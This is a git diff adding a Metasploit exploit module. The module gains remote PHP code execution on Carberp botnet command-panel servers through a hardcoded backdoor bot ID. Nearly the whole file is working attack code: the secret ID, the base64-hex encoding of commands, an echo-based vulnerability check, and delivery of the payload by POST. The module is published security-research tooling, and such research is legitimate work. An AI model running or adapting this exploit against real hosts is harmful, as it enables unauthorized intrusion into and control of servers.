diff --git a/modules/exploits/multi/http/carberp_backdoor_exec.rb b/modules/exploits/multi/http/carberp_backdoor_exec.rb new file mode 100644 index 0000000000..77c1fd4eb1 --- /dev/null +++ b/modules/exploits/multi/http/carberp_backdoor_exec.rb @@ -0,0 +1,88 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution', + 'Description' => %q{ + This module exploits backdoors that can be sighted all over the leaked + source code of the Carberp botnet C2 Web Panel. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bwall(Brian Wallace) ', # msf module + 'connection(Luis Santana) ', # exploit reporting + 'Steven K ' # discovery and reporting + ], + 'References' => + [ + ['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html'] + ], + 'Privileged' => false, + 'Payload' => + { + 'Keys' => ['php'], + 'Space' => 10000, + 'DisableNops' => true + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['carberp', {}] + ], + 'DisclosureDate' => 'Jun 28 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]), + OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']), + ],self.class) + end + + def check + confirm_string = rand_text_alpha(8) + cmd = "echo '#{confirm_string}';" + shell = http_send_command(cmd) + check_code = Exploit::CheckCode::Safe + + if shell and shell.body.include?(confirm_string) + check_code = Exploit::CheckCode::Vulnerable + end + + check_code + end + + def http_send_command(cmd) + uri = normalize_uri(target_uri.path.to_s) + request_parameters = { + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'id' => datastore['BOTID'], + "data" => Rex::Text.encode_base64(cmd.unpack('H*')) + } + } + res = send_request_cgi(request_parameters) + + res + end + + def exploit + http_send_command(payload.encoded) + end +end